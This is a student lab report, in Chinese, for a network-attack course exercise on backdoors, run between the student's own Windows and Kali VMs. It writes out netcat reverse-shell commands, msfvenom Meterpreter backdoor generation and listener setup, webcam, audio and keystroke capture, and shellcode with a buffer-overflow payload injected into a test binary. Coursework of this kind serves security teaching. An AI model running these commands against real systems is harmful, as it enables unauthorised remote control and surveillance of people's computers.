2019-2020-2 网络对抗技术 20175311胡济栋 Exp2 后门原理与实践
2019-2020-2 网络对抗技术 20175311胡济栋 Exp2 后门原理与实践
目录
-
一、实验介绍
-
二、实验准备
-
三、实验过程
-
- 任务一:使用netcat实现windows,linux之间的后门连接
-
- 任务二:使用socat获取主机操作Shell, 任务计划启动
-
- 任务三:MFS meterpreter生成后门程序,并注入被控端进行远程控制
-
- 任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
-
- 任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
四、实验要求
-
五、实验感想
一、实验介绍
1.后门原理概念
- 后门就是不通过正常认证流程而非法访问操作系统的通道,一般编译器、操作系统、应用程序中都可能留有后门。
2.后门操作流程
- 获取常用后门程序,如netcat系列、meterpreter、intersect等
- 通过软件程序自带、诱骗下载、恶意攻击等方式将后门植入电脑系统中
- 通过开机自启动、win的定时任务、linux的cron服务或诱骗用户点击等方式进行成功运行
- 避免被恶意代码检测程序发现,躲避恶意代码免杀技术
- 传送数据时避免被本机或网络的防火墙发现(反弹式连接、加密连接、隧道技术)
二、实验准备
1.常用后门工具——NC
- netcat,又名nc、ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- nc的基本功能如下:telnet / 获取系统 banner 信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制 / 正方向 shell、流媒体服务器、远程克隆硬盘。
nc常用控制参数:
- -l,用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接
- -s,指定发送数据的源IP地址,适用于多网卡机
- -u,指定nc使用UDP协议,默认为TCP
- -v,输出交互或出错信息
- -w,超时秒数,后面跟数字
- -z,表示zero,表示扫描时不发送任何数据
2.常用后门工具——socat
- Netcat++,超级netcat工具。任何代理、转发等功能都可以用该工具实现。
3.常用后门程序——Meterpreter
- Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
- Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。
三、实验过程
任务一:使用netcat实现windows,linux之间的后门连接
1.Win下获得Linux Shell
- 获得Win7的IP地址,其中我的Win7IP地址为
192.168.40.133
- Windows打开监听,使用ncat.exe程序打开监听
ncat.exe -l -p 8888
- 在kali中反弹连接Windows,
ncat 192.168.40.133 8888 -e /bin/sh
,使用-e选项执行shell程序 - 可以看到,我们在Win7操作系统中获取得到了kali的文件信息
2.Linux获得Win Shell
- 获得Kali的IP地址,其中我的KaliIP地址为
192.168.40.132
- 在Kali中运行监听指令
nc -l -p 8888
- Windows反弹连接Kali
ncat.exe -e cmd.exe 192.168.40.132 8888
- 可以看到,我们在Kali操作系统中获取得到了Windows的命令指令
3.NC拓展知识——使用NC传输数据
- 在Win7下监听8888端口
ncat.exe -l 8888
- 在Kali下反弹连接
nc 192.168.40.133 8888
- 成功建立连接后,双方可以互相传输数据
- 在Win7下监听8888端口,并且将一会要接收的内容保存至文件
20175311
中,ncat.exe -l 8888 < 20175311.out
- 在Kali下将想传输的内容写入文件中,并反弹连接
nc 192.168.40.133 8888 > 20175311.in
- 成功建立连接后,原来Kali中文件的数据传送到了Win7中
任务二:使用socat获取主机操作Shell, 任务计划启动
- 在win7中找到控制面板-系统与安全-管理工具-任务计划程序,选择创建任务
- 选择新建触发器,设置相应触发的时间
- 在操作中选择每次需要执行的程序或脚本
任务三:MFS meterpreter生成后门程序,并注入被控端进行远程控制
-
在kali中生成后门程序meter_backdoor.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.132 LPORT=5311 -f exe > meter_backdoor.exe
-
将后门程序拷贝到Win7中,注意需要提前关闭杀毒软件,不然会被自动删除。
-
在kali中打开MSF监听程序
msfconsole
-
依次输入
use exploit/multi/handler
,set payload windows/meterpreter/reverse_tcp
,set LHOST 192.168.40.132
,set LPORT 5311
等命令进行配置。
-
记住要关闭杀毒软件!不然就做不出来了!
-
在win7中打开meter_backdoor.exe后门程序。
-
在kali中输入
exploit
就能得到入侵成功的结果。
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
- 获取目标机器win7的shell
- 获取目标机器win7的音频文件
- 获取目标机器win7的截图
- 获取目标机器win7的摄像头失败
- 进行进程迁移,将进程迁移至IE,这样就不用怕用户把当前这个进程关闭了。
任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 参考20175313张黎仙同学的博客的版本二进行实验操作
- 在Exploit Database Shellcodes网站中下载生成好的shellcode,可以选择关键字搜索找到我们需要下载的内容。
-
将里面的机器码取出
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
-
execstack -s pwn1
设置堆栈可执行 -
execstack -q pwn1
查询文件的堆栈是否可执行 -
more /proc/sys/kernel/randomize_va_space
查看地址随机化的状态 -
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化 -
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20175311input
-
xxd 20175311input
- 按照实验一的操作进行,在a终端中输入
(cat 20175311input;cat) | ./pwn1
- 再打开一个b终端,输入
ps -ef | grep pwn2
查看进程号。启动gdb调试,输入attach 2140
,然后再输入disassemble foo
反编译。其中看到ret指令的地址为0x080484ae
,再设置断点为break *0x080484ae
- a终端中输入一个回车,程序执行到断点停止
- b终端中输入
c
继续运行程序,输入info r esp
查看esp寄存器地址,x/16x 0xffffd30c
以十六进制查看之后16字节的内容。0xffffd30c+0x00000004=0xffffd310
-
生成我们需要的shellcode作为pwn1的输入放在了input_shellcode中
-
msfconsole
进入设置,use exploit/multi/handler
-
set payload linux/x86/shell_reverse_tcp
这里一定要注意我们设置的是linux/x86的shell -
set LHOST 127.0.0.1``set LPORT 4444
-
被控制方输入
(cat input_shellcode;cat) | ./pwn1
-
成功控制,进行查看当前目录等操作
四、实验要求
1.例举你能想到的一个后门进入到你系统中的可能方式?
- 有可能是在我们浏览网页的过程中不小心进入了某些钓鱼网站,被无疑植入了后门程序,也有可能是我们使用的操作系统中本身就存在相关的后门,被一些黑客利用后能够诱导我们启动程序或者设置定时启动,就能够在另外的主机上成功进入我们的系统了。
2.例举你知道的后门如何启动起来(win及linux)的方式?
- 在windows中可以在控制面板-管理工具-任务计划中设置相关的自启动任务,或者可以将后门程序与一些正常应用绑定,就能够在用户使用正常程序时自动运行。
3.Meterpreter有哪些给你映像深刻的功能?
Meterpreter可以获取对方的摄像头和屏幕截屏还有录音,这些都让我印象比较深刻,因为我的认识中通过后门黑入系统只能是通过shell的一些指令还删改文件等操作。而这些录视频和屏幕截屏操作的确出乎我的意料之外,故让人印象深刻。
4.如何发现自己有系统有没有被安装后门?
我的整个实验过程都是关闭杀毒软件和防火墙的,以防止我们的后门被系统识别而删除。所以一般来说开启防火墙和杀毒软件就能够检查出正在入侵的后门,而查看进程管理器、注册表自启动项、端口能够识别查看是否有已经入侵的后门存在在我们的系统中。
五、实验感想
- 这是网络对抗第二次实验,实验主要内容是研究后门是什么,后门如何不通过系统正当途径而非法进入用户的系统,后门如何进行伪装、如何自启动等内容。老师上课讲了大致的内容,然后我们通过视频加上学长学姐或是同学的博客来进行实验,本来以为老师说的这次实验相对上次简单一些。但是事实证明每个实验都需要花费大量的心思与大量的时间在其中,因为当你真正着手做实验时,可能会出现各种各样稀奇古怪的问题,所以真的不轻松。